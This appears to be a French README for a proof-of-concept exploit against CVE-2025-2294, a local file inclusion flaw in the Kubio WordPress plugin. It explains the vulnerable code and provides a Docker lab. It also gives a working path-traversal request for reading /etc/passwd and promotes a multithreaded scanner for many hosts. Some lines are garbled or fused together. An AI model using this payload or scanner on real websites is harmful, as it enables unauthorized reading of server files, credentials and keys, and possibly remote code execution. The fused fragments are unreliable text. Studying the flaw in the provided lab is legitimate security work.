
Exploit de preuve de concept pour CVE-2025-2294, une vulnérabilité LFI critique dans Kubio AI Page Builder pour WordPress. Comprend un scanner Python, un modèle nuclei, et un laboratoire Docker pour les tests.
CVE-2025-2294 est une vulnérabilité critique de type Local File Inclusion (LFI) dans le plugin Kubio AI Page Builder pour WordPress. Cette vulnérabilité permet à un attaquant distant non authentifié de transmettre un paramètre spécialement conçu, ce qui amène le plugin à inclure un fichier arbitraire sur le serveur ; en présence d'un fichier PHP inclus, cela peut entraîner une exécution de code à distance (RCE).
kubio/wp-content/plugins/kubio/cpe:2.3:a:extendthemes:kubio_ai_page_builder::::::wordpress::*CWE : CWE-22 — Limitation incorrecte d'un chemin d'accès à un répertoire restreint (Path Traversal).
__kubio-site-edit-iframe-classic-template.wp-config.php, clés privées, journaux).Le code vulnérable est lié à la fonction kubio_hybrid_theme_load_template(), qui accède au tableau global $_REQUEST :
$template_id = Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false);
if ($template_id) {
$new_template = locate_template([$template_id]);
if ($new_template !== '') {
return $new_template;
}
}
Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false) — récupère la valeur directement depuis l'ensemble global des données d'entrée ($_REQUEST combine $_GET, $_POST, $_COOKIE). Cela signifie que le paramètre est contrôlé à distance.
Si le paramètre est présent ($template_id est vrai), le code appelle locate_template([$template_id]).
locate_template() — une utilitaire WordPress (ou un équivalent dans le plugin) pour rechercher des modèles selon le chemin/nom relatif passé. Dans un scénario normal, on s'attendait à ce que des noms de fichiers dans un répertoire de modèles sécurisé soient passés, par exemple header.php ou template-parts/content.php.
La valeur de retour ($new_template) est ensuite utilisée — dans l'implémentation d'origine, cela peut conduire à un include/require du chemin trouvé, ou à passer ce chemin plus loin pour l'affichage. Cela crée une possibilité de LFI : l'attaquant peut spécifier un chemin vers un fichier arbitraire.
git clone https://github.com/iteride/CVE-2025-2294.git && cd CVE-2025-2294/ && docker-compose up -d
docker exec -it <WORDPRESS_DOCKER_ID> bash
Pour lancer après décompression, allez sur http://localhost:8080/wp-admin/plugins.php et activez le plugin
cd /var/www/html/wp-content/plugins
curl -L -o kubio-2.5.1.zip "https://downloads.wordpress.org/plugin/kubio.2.5.1.zip"
unzip kubio-2.5.1.zip
rm kubio-2.5.1.zip
chown -R www-data:www-data kubio
curl 'http://localhost:8080/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=../../../../../../../../../etc/passwd'

__kubio-site-edit-iframe-classic-template=<path>
Ce paramètre transmet une chaîne que le plugin utilise comme identifiant/chemin de modèle.
Dans le fragment de code vulnérable, la valeur est extraite de $_REQUEST et transmise à locate_template() sans normalisation ni restriction préalable. En conséquence, un path traversal est possible : si l'on insère des séquences ../ dans la valeur, le chemin résultant peut sortir du répertoire de modèles attendu et pointer vers n'importe quel fichier du système de fichiers (y compris /etc/passwd).
C'est précisément ce paramètre qui porte la charge utile de l'attaque — l'attaquant y spécifie le fichier cible.
__kubio-site-edit-iframe-preview=1
C'est un indicateur de service (mode aperçu / iframe-edit mode). Il bascule le traitement de la requête vers la branche de code où le modèle spécifié dans __kubio-site-edit-iframe-classic-template est lu et utilisé.
Sans preview=1, le plugin pourrait ne pas traiter le paramètre classic-template ou utiliser une autre logique ; avec preview=1, la logique qui permet la lecture et le retour du modèle est activée, rendant l'exploitation possible.
/wp-content/plugins/kubio/readme.txt.

Le script vérifie la sortie de /etc/passwd mais beaucoup plus rapidement que nuclei grâce au multithreading, et il supporte également le scan de plusieurs hôtes à la fois.
python3 scan.py --target http://localhost:8080
